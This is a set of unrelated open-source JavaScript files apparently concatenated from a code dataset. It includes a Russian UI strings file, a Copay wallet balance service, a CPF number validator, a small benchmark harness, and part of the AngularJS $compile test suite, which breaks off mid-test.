    "costingInfoHintText": "<div>Подсказка: Используйте следующие ключевые слова</div><ul><li><b>{TOTALCOUNT}</b>: Использует общее число объектов одного типа в географии</li> <li><b>{MEASURE}</b>: Использует длину для линейных объектов и площадь для полигональных</li><li><b>{TOTALMEASURE}</b>: Использует общую длину для линейных объектов и общую площадь для полигональных объектов одинакового типа в географии</li></ul> Можно использовать функции, например:<ul><li>Math.abs(-100)</li><li>Math.floor({TOTALMEASURE})</li></ul>Отредактируйте уравнение стоимости, как необходимо для проекта.",
    "zoomToAsset": "Приблизить к объекту",
    "deleteAsset": "Удалить объект",
    "closeDialog": "Закрыть диалог",
    "objectIdColTitle": "Object Id",
    "costColTitle": "Стоимость",
    "errorInvalidCostEquation": "Недопустимое уравнение стоимости.",
    "errorInSavingAssetDetails": "Невозможно сохранить информацию об объекте.",
    "featureModeText": "Режим объекта",
    "sketchToolTitle": "Скетч",
    "selectToolTitle": "Выбрать",
    "downloadCSVBtnTitle": "Экспорт отчета"
  },
  "assetDetails": {
    "inGeography": " в ${geography} ",
    "withScenario": " в ${scenario}",
    "totalCostTitle": "Общая стоимость",
    "additionalCostLabel": "Описание",
    "additionalCostValue": "Значение",
    "additionalCostNetValue": "Общее значение"
  },
  "projectOverview": {
    "assetItemsTitle": "Элементы объекта",
    "assetStatisticsTitle": "Статистика объекта",
    "projectSummaryTitle": "Краткая информация проекта",
    "projectName": "Имя проекта: ${name}",
    "totalCostLabel": "Общая стоимость проекта (*):",
    "grossCostLabel": "Валовая стоимость проекта (*):",
    "roundingLabel": "* Округление до '${selectedRoundingOption}'",
    "unableToSaveProjectBoundary": "Невозможно сохранить границы проекта в слое проекта.",
    "unableToSaveProjectCost": "Невозможно сохранить стоимости в слое проекта.",
    "roundCostValues": {
      "twoDecimalPoint": "Два десятичных знака",
      "nearestWholeNumber": "Ближайшее целое число",
      "nearestTen": "Ближайшие десять",
      "nearestHundred": "Ближайшие сто",
      "nearestThousand": "Ближайшие тысяча",
      "nearestTenThousands": "Ближайшие десять тысяч"
    }
  },
  "projectAttribute": {
    "projectAttributeText": "Атрибут проекта",
    "projectAttributeTitle": "Редактировать атрибуты проекта"
  },
  "costEscalation": {
    "costEscalationLabel": "Добавить добавочную стоимость",
    "valueHeader": "Значение",
    "addCostEscalationText": "Добавить добавочную стоимость",
    "deleteCostEscalationText": "Удалить выбранную добавочную стоимость",
    "moveCostEscalationUpText": "Переместить вверх выбранную добавочную стоимость",
    "moveCostEscalationDownText": "Переместить вниз выбранную добавочную стоимость",
    "invalidEntry": "Одна или несколько записей некорректны.",
    "errorInSavingCostEscalation": "Невозможно сохранить информацию о добавочной стоимости."
  },
  "scenarioSelection": {
    "popupTitle": "Выбрать сценарий для объекта",
    "regionLabel": "География",
    "scenarioLabel": "Сценарий",
    "noneText": "Нет",
    "copyFeatureMsg": "Хотите копировать выбранные объекты?"
  },
  "detailStatistics": {
    "detailStatisticsLabel": "Подробности статистики",
    "noDetailStatisticAvailable": "Статистика объекта не добавлена"
  },
  "copyFeatures": {
    "title": "Копировать объекты",
    "createFeatures": "Создать объекты",
    "createSingleFeature": "Создать 1 объект множественной геометрии",
    "noFeaturesSelectedMessage": "Отсутствуют выбранные объекты",
    "selectFeatureToCopyMessage": "Выберите объект для копирования."
  },
  "updateCostEquationPanel": {
    "updateProjectCostTabLabel": "Обновить уравнения проекта",
    "updateProjectCostSelectProjectTitle": "Выбрать все проекты",
    "updateButtonTextForm": "Обновление",
    "updateProjectCostSuccess": "Уравнения стоимости обновлены для выбранных проектов",
    "updateProjectCostError": "Невозможно обновить уравнение стоимости для выбранных проектов",
    "updateProjectNoProject": "Проекты не найдены"
  }
}); | 
	tmcgee/cmv-wab-widgets | 
	wab/2.15/widgets/CostAnalysis/nls/ru/strings.js | 
	JavaScript | 
	mit | 10,806 | 
| 
	import template from './_ngmodule_.html';
export let =ngmodule=Component = {
	template,
	selector: '_ngmodule_',
	// add ng1 directive definition
	directiveSelector: () => console.log('=ngmodule=', '-> change this'),
	controllerAs: '$ctrl',
	scope: {
	},
	bindToController: true,
	replace: true,
	restrict: 'E',
	controller: class =ngmodule=Ctrl {
		/* @ngInject */
		constructor () {
			// Object.assign(this, ...arguments);
		}
	}
};
 | 
	orizens/echoes | 
	config/templates/_ngmodule_/_ngmodule_.component.js | 
	JavaScript | 
	mit | 439 | 
| 
	var Method = require('aeolus').Method;
var redirecter = new Method();
redirecter.handle(function (request, response) {
  response.redirect("../#/person/" + request.getParameter("id"));
});
module.exports = redirecter;
 | 
	awesomesourcecode/MoviesBackendServer | 
	api/get/person.(id).js | 
	JavaScript | 
	mit | 220 | 
| 
	'use strict';
var bitcore = require('bitcore');
angular.module('copayApp.services')
  .factory('balanceService', function($rootScope, $filter, $timeout, rateService) {
    var root = {};
    var _balanceCache = {};
    root.clearBalanceCache = function(w) {
      w.clearUnspentCache();
      delete _balanceCache[w.getId()];
    };
    root._fetchBalance = function(w, cb) {
      cb = cb || function() {};
      var satToUnit = 1 / w.settings.unitToSatoshi;
      var COIN = bitcore.util.COIN;
      w.getBalance(function(err, balanceSat, balanceByAddrSat, safeBalanceSat, safeUnspentCount) {
        if (err) return cb(err);
        var r = {};
        r.totalBalance = $filter('noFractionNumber')(balanceSat * satToUnit);
        r.totalBalanceBTC = (balanceSat / COIN);
        var availableBalanceNr = safeBalanceSat * satToUnit;
        r.availableBalance = $filter('noFractionNumber')(safeBalanceSat * satToUnit);
        r.availableBalanceBTC = (safeBalanceSat / COIN);
        r.safeUnspentCount = safeUnspentCount;
        var lockedBalance = (balanceSat - safeBalanceSat) * satToUnit;
        r.lockedBalance = lockedBalance ? $filter('noFractionNumber')(lockedBalance) : null;
        r.lockedBalanceBTC = (balanceSat - safeBalanceSat) / COIN;
        if (r.safeUnspentCount) {
          var estimatedFee = copay.Wallet.estimatedFee(r.safeUnspentCount);
          r.topAmount = (((availableBalanceNr * w.settings.unitToSatoshi).toFixed(0) - estimatedFee) / w.settings.unitToSatoshi);
        }
        var balanceByAddr = {};
        for (var ii in balanceByAddrSat) {
          balanceByAddr[ii] = balanceByAddrSat[ii] * satToUnit;
        }
        r.balanceByAddr = balanceByAddr;
        if (rateService.isAvailable()) {
          var totalBalanceAlternative = rateService.toFiat(balanceSat, w.settings.alternativeIsoCode);
          var lockedBalanceAlternative = rateService.toFiat(balanceSat - safeBalanceSat, w.settings.alternativeIsoCode);
          var alternativeConversionRate = rateService.toFiat(100000000, w.settings.alternativeIsoCode);
          r.totalBalanceAlternative = $filter('noFractionNumber')(totalBalanceAlternative, 2);
          r.lockedBalanceAlternative = $filter('noFractionNumber')(lockedBalanceAlternative, 2);
          r.alternativeConversionRate = $filter('noFractionNumber')(alternativeConversionRate, 2);
          r.alternativeBalanceAvailable = true;
          r.alternativeIsoCode = w.settings.alternativeIsoCode;
        };
        r.updatingBalance = false;
        return cb(null, r)
      });
    };
    root.update = function(w, cb, isFocused) {
      w = w || $rootScope.wallet;
      if (!w || !w.isComplete()) return;
      copay.logger.debug('Updating balance of:', w.getName(), isFocused);
      var wid = w.getId();
      // cache available? Set the cached values until we updated them
      if (_balanceCache[wid]) {
        w.balanceInfo = _balanceCache[wid];
      } else {
        if (isFocused)
          $rootScope.updatingBalance = true;
      }
      w.balanceInfo = w.balanceInfo || {};
      w.balanceInfo.updating = true;
      root._fetchBalance(w, function(err, res) {
        if (err) throw err;
        w.balanceInfo = _balanceCache[wid] = res;
        w.balanceInfo.updating = false;
        if (isFocused) {
          $rootScope.updatingBalance = false;
        }
        // we alwalys calltimeout because if balance is cached, we are still on the same
        // execution path
        if (cb) $timeout(function() {
          return cb();
        }, 1);
      });
    };
    return root;
  });
 | 
	Tetpay/copay | 
	js/services/balanceService.js | 
	JavaScript | 
	mit | 3,598 | 
| 
	define(['square/filters/filters'], function (filters) {
	'use strict';
	
	filters.filter('cpf', function () {
	
		return function (value) {
			if (!value) {
				return value;
			}
		
			var lpad = function (value, padding) {
				var zeroes = '0';
				for (var i = 0; i < padding; i++) {
					zeroes += '0';
				}
				return (zeroes + value).slice(padding * -1);
			};
		
			var newValue = angular.isNumber(value) ? lpad(value.toString(), 11) : lpad(value, 11);
			return jQuery.mask.string(newValue, '999.999.999-99');
		};
		
	});
	
	filters.filter('cpfValidator', function () {
		
		return function (value) {
			value = value.replace(/[^\d]+/g, '');
			 
			if (value.length !== 11 || value === '') {
				return false;
			}
			 
		    // Elimina cpfs invalidos conhecidos
			if (value === '00000000000' ||
		        value === '11111111111' ||
		        value === '22222222222' ||
		        value === '33333333333' ||
		        value === '44444444444' ||
		        value === '55555555555' ||
		        value === '66666666666' ||
		        value === '77777777777' ||
		        value === '88888888888' ||
		        value === '99999999999') {
				return false;
			}
			     
			// Valida 1o digito
			var add = 0;
			for (var i = 0; i < 9; i++) {
				add += parseInt(value.charAt(i), 10) * (10 - i);
			}
			
			var rev = 11 - (add % 11);
			if (rev === 10 || rev === 11) {
				rev = 0;
			}
		    
			if (rev !== parseInt(value.charAt(9), 10)) {
				return false;
			}
		     
		    // Valida 2o digito
			add = 0;
			for (i = 0; i < 10; i++) {
				add += parseInt(value.charAt(i), 10) * (11 - i);
			}
		    
			rev = 11 - (add % 11);
			if (rev === 10 || rev === 11) {
				rev = 0;
			}
		    
			if (rev !== parseInt(value.charAt(10), 10)) {
				return false;
			}
		    
			return true;
		};
		
	});
	
}); | 
	leonardosalles/squarespa | 
	squareframework-ui/target/classes/js/filters/cpf.js | 
	JavaScript | 
	mit | 1,808 | 
| 
	var layer = require('../index')
  , should = require('should');
var prettyNum = function(i) {
  var a = i.toString().split('')
    , alen = a.length
    , howMany = Math.floor(alen / 3);
  for (var idx = alen - 3; howMany > 0; howMany--) {
    a.splice(idx, 0, ',');
    idx = idx - 3;
  }
  return a.join('');
}
module.exports = function(testMode) {
  // don't require workbench when just wanting to run tests
  if (testMode) {
    var bench = {};
    bench.cycles = function(fn, time) {
      var cycles = 0
        , startTime = Date.now()
        , time = time * 1000;
      while (true) {
        fn();
        if ((Date.now() - startTime) > time) break;
        cycles++;
      }
      return cycles;
    }
  } else {
    var bench = require('../../workbench/index');
  }
/*
  should return arguments.length and check the return instead
*/
  var actual = {
    args0: function() { 
      if (testMode) 
        (arguments.length).should.be.equal(0);
    },
    args1: function(x) { 
      if (testMode) 
        (arguments.length).should.be.equal(1);
    },
    args2: function(x,y) { 
      if (testMode) 
        (arguments.length).should.be.equal(2);
    },
    args3: function(x,y,z) { 
      if (testMode) 
        (arguments.length).should.be.equal(3);
    },
    args4: function(a,b,c,d) { 
      if (testMode) 
        (arguments.length).should.be.equal(4);
    },
    args5: function(a,b,c,d,e) { 
      if (testMode) 
        (arguments.length).should.be.equal(5);
    }
  }
  var args0 = function() {}
    , args1 = function(x, next) { next(x); }
    , args2 = function(x,y, next) { next(x,y); }
    , args3 = function(x,y,z, next) { next(x,y,z); }
    , args4 = function(a,b,c,d, next) { next(a,b,c,d); }
    , args5 = function(a,b,c,d,e, next) { next(a,b,c,d,e); };
  layer.set(actual, actual.args0, args0);
  layer.set(actual, actual.args1, args1);
  layer.set(actual, actual.args2, args2);
  layer.set(actual, actual.args3, args3);
  layer.set(actual, actual.args4, args4);
  layer.set(actual, actual.args5, args5);
  function runner(fn, name) {
    var time;
    (testMode) ? time = 0.01 : time = 7;
    var cycles = prettyNum(bench.cycles(fn, time));
    if (!testMode) console.log(name, cycles);
  }
  runner(function() { actual.args0(); }, 'args0');
  runner(function() { actual.args1(1); }, 'args1');
  runner(function() { actual.args2(1, 2); }, 'args2');
  runner(function() { actual.args3(1, 2, 3); }, 'args3');
  runner(function() { actual.args4(1, 2, 3, 4); }, 'args4');
  runner(function() { actual.args5(1, 2, 3, 4, 5); }, 'args5');
} | 
	lovebear/layer | 
	benchmark/setup.js | 
	JavaScript | 
	mit | 2,574 | 
| 
	var util = require('util')
var Transform = require('stream').Transform
util.inherits(Concat, Transform)
function Concat(cb) {
  Transform.call(this)
  this.cb = cb
  this.buffers = []
}
Concat.prototype._transform = function(chunk, encoding, done) {
  this.buffers.push(chunk)
  this.push(chunk)
  done()
}
Concat.prototype._flush = function(done) {
  this.cb(this.buffers)
  done()
}
process.stdin.pipe(new Concat(log))
function log(buffs) {
  console.log(Buffer.concat(buffs))
}
 | 
	nmarley/node-playground | 
	bytewiser/buffer-concat-official.js | 
	JavaScript | 
	mit | 486 | 
| 
	'use strict';
function calcCacheSize() {
  var size = 0;
  for(var key in jqLite.cache) { size++; }
  return size;
}
describe('$compile', function() {
  var element, directive, $compile, $rootScope;
  beforeEach(module(provideLog, function($provide, $compileProvider){
    element = null;
    directive = $compileProvider.directive;
    directive('log', function(log) {
      return {
        restrict: 'CAM',
        priority:0,
        compile: valueFn(function(scope, element, attrs) {
          log(attrs.log || 'LOG');
        })
      };
    });
    directive('highLog', function(log) {
      return { restrict: 'CAM', priority:3, compile: valueFn(function(scope, element, attrs) {
        log(attrs.highLog || 'HIGH');
      })};
    });
    directive('mediumLog', function(log) {
      return { restrict: 'CAM', priority:2, compile: valueFn(function(scope, element, attrs) {
        log(attrs.mediumLog || 'MEDIUM');
      })};
    });
    directive('greet', function() {
      return { restrict: 'CAM', priority:10,  compile: valueFn(function(scope, element, attrs) {
        element.text("Hello " + attrs.greet);
      })};
    });
    directive('set', function() {
      return function(scope, element, attrs) {
        element.text(attrs.set);
      };
    });
    directive('mediumStop', valueFn({
      priority: 2,
      terminal: true
    }));
    directive('stop', valueFn({
      terminal: true
    }));
    directive('negativeStop', valueFn({
      priority: -100, // even with negative priority we still should be able to stop descend
      terminal: true
    }));
    return function(_$compile_, _$rootScope_) {
      $rootScope = _$rootScope_;
      $compile = _$compile_;
    };
  }));
  function compile(html) {
    element = angular.element(html);
    $compile(element)($rootScope);
  }
  afterEach(function(){
    dealoc(element);
  });
  describe('configuration', function() {
    it('should register a directive', function() {
      module(function() {
        directive('div', function(log) {
          return {
            restrict: 'ECA',
            link: function(scope, element) {
              log('OK');
              element.text('SUCCESS');
            }
          };
        });
      });
      inject(function($compile, $rootScope, log) {
        element = $compile('<div></div>')($rootScope);
        expect(element.text()).toEqual('SUCCESS');
        expect(log).toEqual('OK');
      });
    });
    it('should allow registration of multiple directives with same name', function() {
      module(function() {
        directive('div', function(log) {
          return {
            restrict: 'ECA',
            link: {
              pre: log.fn('pre1'),
              post: log.fn('post1')
            }
          };
        });
        directive('div', function(log) {
          return {
            restrict: 'ECA',
            link: {
              pre: log.fn('pre2'),
              post: log.fn('post2')
            }
          };
        });
      });
      inject(function($compile, $rootScope, log) {
        element = $compile('<div></div>')($rootScope);
        expect(log).toEqual('pre1; pre2; post2; post1');
      });
    });
    it('should throw an exception if a directive is called "hasOwnProperty"', function() {
      module(function() {
        expect(function() {
          directive('hasOwnProperty', function() { });
        }).toThrowMinErr('ng','badname', "hasOwnProperty is not a valid directive name");
      });
      inject(function($compile) {});
    });
  });
  describe('compile phase', function() {
    it('should attach scope to the document node when it is compiled explicitly', inject(function($document){
      $compile($document)($rootScope);
      expect($document.scope()).toBe($rootScope);
    }));
    it('should wrap root text nodes in spans', inject(function($compile, $rootScope) {
      element = jqLite('<div>A<a>B</a>C</div>');
      var text = element.contents();
      expect(text[0].nodeName).toEqual('#text');
      text = $compile(text)($rootScope);
      expect(text[0].nodeName).toEqual('SPAN');
      expect(element.find('span').text()).toEqual('A<a>B</a>C');
    }));
    it('should not wrap root whitespace text nodes in spans', function() {
      element = jqLite(
        '<div>   <div>A</div>\n  '+ // The spaces and newlines here should not get wrapped
        '<div>B</div>C\t\n  '+  // The "C", tabs and spaces here will be wrapped
        '</div>');
      $compile(element.contents())($rootScope);
      var spans = element.find('span');
      expect(spans.length).toEqual(1);
      expect(spans.text().indexOf('C')).toEqual(0);
    });
    it('should not leak memory when there are top level empty text nodes', function() {
      // We compile the contents of element (i.e. not element itself)
      // Then delete these contents and check the cache has been reset to zero
      // First with only elements at the top level
      element = jqLite('<div><div></div></div>');
      $compile(element.contents())($rootScope);
      element.empty();
      expect(calcCacheSize()).toEqual(0);
      // Next with non-empty text nodes at the top level
      // (in this case the compiler will wrap them in a <span>)
      element = jqLite('<div>xxx</div>');
      $compile(element.contents())($rootScope);
      element.empty();
      expect(calcCacheSize()).toEqual(0);
      // Next with comment nodes at the top level
      element = jqLite('<div><!-- comment --></div>');
      $compile(element.contents())($rootScope);
      element.empty();
      expect(calcCacheSize()).toEqual(0);
      // Finally with empty text nodes at the top level
      element = jqLite('<div>   \n<div></div>   </div>');
      $compile(element.contents())($rootScope);
      element.empty();
      expect(calcCacheSize()).toEqual(0);
    });
    it('should not blow up when elements with no childNodes property are compiled', inject(
        function($compile, $rootScope) {
      // it turns out that when a browser plugin is bound to an DOM element (typically <object>),
      // the plugin's context rather than the usual DOM apis are exposed on this element, so
      // childNodes might not exist.
      if (msie < 9) return;
      element = jqLite('<div>{{1+2}}</div>');
      try {
        element[0].childNodes[1] = {nodeType: 3, nodeName: 'OBJECT', textContent: 'fake node'};
      } catch(e) {
      } finally {
        if (!element[0].childNodes[1]) return; //browser doesn't support this kind of mocking
      }
      expect(element[0].childNodes[1].textContent).toBe('fake node');
      $compile(element)($rootScope);
      $rootScope.$apply();
      // object's children can't be compiled in this case, so we expect them to be raw
      expect(element.html()).toBe("3");
    }));
    describe('multiple directives per element', function() {
      it('should allow multiple directives per element', inject(function($compile, $rootScope, log){
        element = $compile(
          '<span greet="angular" log="L" x-high-log="H" data-medium-log="M"></span>')
          ($rootScope);
        expect(element.text()).toEqual('Hello angular');
        expect(log).toEqual('L; M; H');
      }));
      it('should recurse to children', inject(function($compile, $rootScope){
        element = $compile('<div>0<a set="hello">1</a>2<b set="angular">3</b>4</div>')($rootScope);
        expect(element.text()).toEqual('0hello2angular4');
      }));
      it('should allow directives in classes', inject(function($compile, $rootScope, log) {
        element = $compile('<div class="greet: angular; log:123;"></div>')($rootScope);
        expect(element.html()).toEqual('Hello angular');
        expect(log).toEqual('123');
      }));
      it('should ignore not set CSS classes on SVG elements', inject(function($compile, $rootScope, log) {
        if (!window.SVGElement) return;
        // According to spec SVG element className property is readonly, but only FF
        // implements it this way which causes compile exceptions.
        element = $compile('<svg><text>{{1}}</text></svg>')($rootScope);
        $rootScope.$digest();
        expect(element.text()).toEqual('1');
      }));
      it('should receive scope, element, and attributes', function() {
        var injector;
        module(function() {
          directive('log', function($injector, $rootScope) {
            injector = $injector;
            return {
              restrict: 'CA',
              compile: function(element, templateAttr) {
                expect(typeof templateAttr.$normalize).toBe('function');
                expect(typeof templateAttr.$set).toBe('function');
                expect(isElement(templateAttr.$$element)).toBeTruthy();
                expect(element.text()).toEqual('unlinked');
                expect(templateAttr.exp).toEqual('abc');
                expect(templateAttr.aa).toEqual('A');
                expect(templateAttr.bb).toEqual('B');
                expect(templateAttr.cc).toEqual('C');
                return function(scope, element, attr) {
                  expect(element.text()).toEqual('unlinked');
                  expect(attr).toBe(templateAttr);
                  expect(scope).toEqual($rootScope);
                  element.text('worked');
                };
              }
            };
          });
        });
        inject(function($rootScope, $compile, $injector) {
          element = $compile(
              '<div class="log" exp="abc" aa="A" x-Bb="B" daTa-cC="C">unlinked</div>')($rootScope);
          expect(element.text()).toEqual('worked');
          expect(injector).toBe($injector); // verify that directive is injectable
        });
      });
    });
    describe('error handling', function() {
      it('should handle exceptions', function() {
        module(function($exceptionHandlerProvider) {
          $exceptionHandlerProvider.mode('log');
          directive('factoryError', function() { throw 'FactoryError'; });
          directive('templateError',
              valueFn({ compile: function() { throw 'TemplateError'; } }));
          directive('linkingError',
              valueFn(function() { throw 'LinkingError'; }));
        });
        inject(function($rootScope, $compile, $exceptionHandler) {
          element = $compile('<div factory-error template-error linking-error></div>')($rootScope);
          expect($exceptionHandler.errors[0]).toEqual('FactoryError');
          expect($exceptionHandler.errors[1][0]).toEqual('TemplateError');
          expect(ie($exceptionHandler.errors[1][1])).
              toEqual('<div factory-error linking-error template-error>');
          expect($exceptionHandler.errors[2][0]).toEqual('LinkingError');
          expect(ie($exceptionHandler.errors[2][1])).
              toEqual('<div class="ng-scope" factory-error linking-error template-error>');
          // crazy stuff to make IE happy
          function ie(text) {
            var list = [],
                parts, elementName;
            parts = lowercase(text).
                replace('<', '').
                replace('>', '').
                split(' ');
            elementName = parts.shift();
            parts.sort();
            parts.unshift(elementName);
            forEach(parts, function(value){
              if (value.substring(0,2) !== 'ng') {
                value = value.replace('=""', '');
                var match = value.match(/=(.*)/);
                if (match && match[1].charAt(0) != '"') {
                  value = value.replace(/=(.*)/, '="$1"');
                }
                list.push(value);
              }
            });
            return '<' + list.join(' ') + '>';
          }
        });
      });
      it('should allow changing the template structure after the current node', function() {
        module(function(){
          directive('after', valueFn({
            compile: function(element) {
              element.after('<span log>B</span>');
            }
          }));
        });
        inject(function($compile, $rootScope, log){
          element = jqLite("<div><div after>A</div></div>");
          $compile(element)($rootScope);
          expect(element.text()).toBe('AB');
          expect(log).toEqual('LOG');
        });
      });
      it('should allow changing the template structure after the current node inside ngRepeat', function() {
        module(function(){
          directive('after', valueFn({
            compile: function(element) {
              element.after('<span log>B</span>');
            }
          }));
        });
        inject(function($compile, $rootScope, log){
          element = jqLite('<div><div ng-repeat="i in [1,2]"><div after>A</div></div></div>');
          $compile(element)($rootScope);
          $rootScope.$digest();
          expect(element.text()).toBe('ABAB');
          expect(log).toEqual('LOG; LOG');
        });
      });
      it('should allow modifying the DOM structure in post link fn', function() {
        module(function() {
          directive('removeNode', valueFn({
            link: function($scope, $element) {
              $element.remove();
            }
          }));
        });
        inject(function($compile, $rootScope) {
          element = jqLite('<div><div remove-node></div><div>{{test}}</div></div>');
          $rootScope.test = 'Hello';
          $compile(element)($rootScope);
          $rootScope.$digest();
          expect(element.children().length).toBe(1);
          expect(element.text()).toBe('Hello');
        });
      });
    });
    describe('compiler control', function() {
      describe('priority', function() {
        it('should honor priority', inject(function($compile, $rootScope, log){
          element = $compile(
            '<span log="L" x-high-log="H" data-medium-log="M"></span>')
            ($rootScope);
          expect(log).toEqual('L; M; H');
        }));
      });
      describe('terminal', function() {
        it('should prevent further directives from running', inject(function($rootScope, $compile) {
            element = $compile('<div negative-stop><a set="FAIL">OK</a></div>')($rootScope);
            expect(element.text()).toEqual('OK');
          }
        ));
        it('should prevent further directives from running, but finish current priority level',
          inject(function($rootScope, $compile, log) {
            // class is processed after attrs, so putting log in class will put it after
            // the stop in the current level. This proves that the log runs after stop
            element = $compile(
              '<div high-log medium-stop log class="medium-log"><a set="FAIL">OK</a></div>')($rootScope);
            expect(element.text()).toEqual('OK');
            expect(log.toArray().sort()).toEqual(['HIGH', 'MEDIUM']);
          })
        );
      });
      describe('restrict', function() {
        it('should allow restriction of availability', function () {
          module(function () {
            forEach({div: 'E', attr: 'A', clazz: 'C', comment: 'M', all: 'EACM'},
                function (restrict, name) {
              directive(name, function (log) {
                return {
                  restrict: restrict,
                  compile: valueFn(function (scope, element, attr) {
                    log(name);
                  })
                };
              });
            });
          });
          inject(function ($rootScope, $compile, log) {
            dealoc($compile('<span div class="div"></span>')($rootScope));
            expect(log).toEqual('');
            log.reset();
            dealoc($compile('<div></div>')($rootScope));
            expect(log).toEqual('div');
            log.reset();
            dealoc($compile('<attr class="attr"></attr>')($rootScope));
            expect(log).toEqual('');
            log.reset();
            dealoc($compile('<span attr></span>')($rootScope));
            expect(log).toEqual('attr');
            log.reset();
            dealoc($compile('<clazz clazz></clazz>')($rootScope));
            expect(log).toEqual('');
            log.reset();
            dealoc($compile('<span class="clazz"></span>')($rootScope));
            expect(log).toEqual('clazz');
            log.reset();
            dealoc($compile('<!-- directive: comment -->')($rootScope));
            expect(log).toEqual('comment');
            log.reset();
            dealoc($compile('<all class="all" all><!-- directive: all --></all>')($rootScope));
            expect(log).toEqual('all; all; all; all');
          });
        });
        it('should use EA rule as the default', function () {
          module(function () {
            directive('defaultDir', function (log) {
              return {
                compile: function () {
                  log('defaultDir');
                }
              };
            });
          });
          inject(function ($rootScope, $compile, log) {
            dealoc($compile('<span default-dir ></span>')($rootScope));
            expect(log).toEqual('defaultDir');
            log.reset();
            dealoc($compile('<default-dir></default-dir>')($rootScope));
            expect(log).toEqual('defaultDir');
            log.reset();
            dealoc($compile('<span class="default-dir"></span>')($rootScope));
            expect(log).toEqual('');
            log.reset();
          });
        });
      });
      describe('template', function() {
        beforeEach(module(function() {
          directive('replace', valueFn({
            restrict: 'CAM',
            replace: true,
            template: '<div class="log" style="width: 10px" high-log>Replace!</div>',
            compile: function(element, attr) {
              attr.$set('compiled', 'COMPILED');
              expect(element).toBe(attr.$$element);
            }
          }));
          directive('nomerge', valueFn({
            restrict: 'CAM',
            replace: true,
            template: '<div class="log" id="myid" high-log>No Merge!</div>',
            compile: function(element, attr) {
              attr.$set('compiled', 'COMPILED');
              expect(element).toBe(attr.$$element);
            }
          }));
          directive('append', valueFn({
            restrict: 'CAM',
            template: '<div class="log" style="width: 10px" high-log>Append!</div>',
            compile: function(element, attr) {
              attr.$set('compiled', 'COMPILED');
              expect(element).toBe(attr.$$element);
            }
          }));
          directive('replaceWithInterpolatedClass', valueFn({
            replace: true,
            template: '<div class="class_{{1+1}}">Replace with interpolated class!</div>',
            compile: function(element, attr) {
              attr.$set('compiled', 'COMPILED');
              expect(element).toBe(attr.$$element);
            }
          }));
          directive('replaceWithInterpolatedStyle', valueFn({
            replace: true,
            template: '<div style="width:{{1+1}}px">Replace with interpolated style!</div>',
            compile: function(element, attr) {
              attr.$set('compiled', 'COMPILED');
              expect(element).toBe(attr.$$element);
            }
          }));
          directive('replaceWithTr', valueFn({
            replace: true,
            template: '<tr><td>TR</td></tr>'
          }));
          directive('replaceWithTd', valueFn({
            replace: true,
            template: '<td>TD</td>'
          }));
          directive('replaceWithTh', valueFn({
            replace: true,
            template: '<th>TH</th>'
          }));
          directive('replaceWithThead', valueFn({
            replace: true,
            template: '<thead><tr><td>TD</td></tr></thead>'
          }));
          directive('replaceWithTbody', valueFn({
            replace: true,
            template: '<tbody><tr><td>TD</td></tr></tbody>'
          }));
          directive('replaceWithTfoot', valueFn({
            replace: true,
            template: '<tfoot><tr><td>TD</td></tr></tfoot>'
          }));
          directive('replaceWithOption', valueFn({
            replace: true,
            template: '<option>OPTION</option>'
          }));
          directive('replaceWithOptgroup', valueFn({
            replace: true,
            template: '<optgroup>OPTGROUP</optgroup>'
          }));
        }));
        it('should replace element with template', inject(function($compile, $rootScope) {
          element = $compile('<div><div replace>ignore</div><div>')($rootScope);
          expect(element.text()).toEqual('Replace!');
          expect(element.find('div').attr('compiled')).toEqual('COMPILED');
        }));
        it('should append element with template', inject(function($compile, $rootScope) {
          element = $compile('<div><div append>ignore</div><div>')($rootScope);
          expect(element.text()).toEqual('Append!');
          expect(element.find('div').attr('compiled')).toEqual('COMPILED');
        }));
        it('should compile template when replacing', inject(function($compile, $rootScope, log) {
          element = $compile('<div><div replace medium-log>ignore</div><div>')
            ($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('Replace!');
          expect(log).toEqual('LOG; HIGH; MEDIUM');
        }));
        it('should compile template when appending', inject(function($compile, $rootScope, log) {
          element = $compile('<div><div append medium-log>ignore</div><div>')
            ($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('Append!');
          expect(log).toEqual('LOG; HIGH; MEDIUM');
        }));
        it('should merge attributes including style attr', inject(function($compile, $rootScope) {
          element = $compile(
            '<div><div replace class="medium-log" style="height: 20px" ></div><div>')
            ($rootScope);
          var div = element.find('div');
          expect(div.hasClass('medium-log')).toBe(true);
          expect(div.hasClass('log')).toBe(true);
          expect(div.css('width')).toBe('10px');
          expect(div.css('height')).toBe('20px');
          expect(div.attr('replace')).toEqual('');
          expect(div.attr('high-log')).toEqual('');
        }));
        it('should not merge attributes if they are the same', inject(function($compile, $rootScope) {
          element = $compile(
            '<div><div nomerge class="medium-log" id="myid"></div><div>')
            ($rootScope);
          var div = element.find('div');
          expect(div.hasClass('medium-log')).toBe(true);
          expect(div.hasClass('log')).toBe(true);
          expect(div.attr('id')).toEqual('myid');
        }));
        it('should prevent multiple templates per element', inject(function($compile) {
          try {
            $compile('<div><span replace class="replace"></span></div>');
            this.fail(new Error('should have thrown Multiple directives error'));
          } catch(e) {
            expect(e.message).toMatch(/Multiple directives .* asking for template/);
          }
        }));
        it('should play nice with repeater when replacing', inject(function($compile, $rootScope) {
          element = $compile(
            '<div>' +
              '<div ng-repeat="i in [1,2]" replace></div>' +
            '</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('Replace!Replace!');
        }));
        it('should play nice with repeater when appending', inject(function($compile, $rootScope) {
          element = $compile(
            '<div>' +
              '<div ng-repeat="i in [1,2]" append></div>' +
            '</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('Append!Append!');
        }));
        it('should handle interpolated css class from replacing directive', inject(
            function($compile, $rootScope) {
          element = $compile('<div replace-with-interpolated-class></div>')($rootScope);
          $rootScope.$digest();
          expect(element).toHaveClass('class_2');
        }));
        if (!msie || msie > 11) {
          // style interpolation not working on IE (including IE11).
          it('should handle interpolated css style from replacing directive', inject(
            function($compile, $rootScope) {
              element = $compile('<div replace-with-interpolated-style></div>')($rootScope);
              $rootScope.$digest();
              expect(element.css('width')).toBe('2px');
            }
          ));
        }
        it('should merge interpolated css class', inject(function($compile, $rootScope) {
          element = $compile('<div class="one {{cls}} three" replace></div>')($rootScope);
          $rootScope.$apply(function() {
            $rootScope.cls = 'two';
          });
          expect(element).toHaveClass('one');
          expect(element).toHaveClass('two'); // interpolated
          expect(element).toHaveClass('three');
          expect(element).toHaveClass('log'); // merged from replace directive template
        }));
        it('should merge interpolated css class with ngRepeat',
            inject(function($compile, $rootScope) {
          element = $compile(
